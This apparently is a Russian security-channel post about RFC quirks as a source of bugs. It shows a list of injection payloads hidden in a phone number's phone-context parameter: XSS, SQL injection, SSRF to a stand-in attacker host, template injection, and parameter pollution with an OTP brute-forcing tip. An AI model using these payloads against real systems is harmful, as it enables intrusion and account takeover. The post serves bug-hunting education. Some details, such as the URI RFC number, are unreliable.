📑 Поговорим сегодня о такой вещи как стандарты интернета в формате RFC (Request for Comments).
Знали ли вы, что "//" в протоколах вроде "http://" не имеют какого-либо практического назначения, а лишь добавляют лишних символов в адреса?
Или, например, у любого домена должна быть точка в конце:
https://ru.wikipedia.org./wiki/RFC (попробуйте открыть, этот домен будет считаться уже другим источником (origin), что может привести к интересным багам)
🐛 Проблемы (баги) возникают когда разработчики применяют имплементацию по стандарту, но не обращают внимания на скрытые параметры или особенности, которые поддерживаются этим стандартом, что приводит к уязвимостям в системе.
Эти и многие другие особенности описаны в RFC документах. Так как некоторые из них уже устарели или не получили широкого распространения, имеет смысл понимать подход к чтению RFC и на что обращать внимание.
▶️ Ранее у меня на канале был такой вот пост про стандарт формата Email по RFC822 (стоит обратить внимание на "comment", теперь в RFC2822). Ещё из недавнего это RFC3966 описывающий дополнительные параметры при обработке телефонных номеров:
XSS: +79119111111;phone-context=<script>alert()</script>
SQLi: +79119111111;phone-context=' OR 1=1;--
SSRF: +79119111111;phone-context=oast.attacker.com
Template Injection: +79119111111;phone-context={{2*2}}[[3*3]]
Parameter pollution (1): +79119111111;phone-context=&phone-context=+79119111112
Parameter pollution (2): +79119111111;ext=1;ext=2 # можно ещё использовать для перебора OTP меняя цифру в ext с каждой попыткой
Больше вариантов применения стандартов RFC при поиске багов можно найти по ссылкам:
🔸 RTFR (Read The Bleeping RFC) by securinti (многие уже видели это видео, в нём показаны лучшие примеры применения особенностей стандартов RFC)
🔸 Till REcollapse: Fuzzing the Web for Mysterious Bugs by @0xacb (больше про фаззинг, но не менее интересная тема)
🔸 The Cost of Complexity: Different Vulnerabilities While Implementing the Same RFC (может быть сложно для понимания, но главное посмотреть на отметке 27:33)
Как читать и с чего можно начать:
🔹 How to Read an RFC
🔹 RFC 3968 Uniform Resource Identifier (URI)
🔹 RFC 7230 Hypertext Transfer Protocol (HTTP/1.1)
🔹 RFC 7540 Hypertext Transfer Protocol Version 2 (HTTP/2)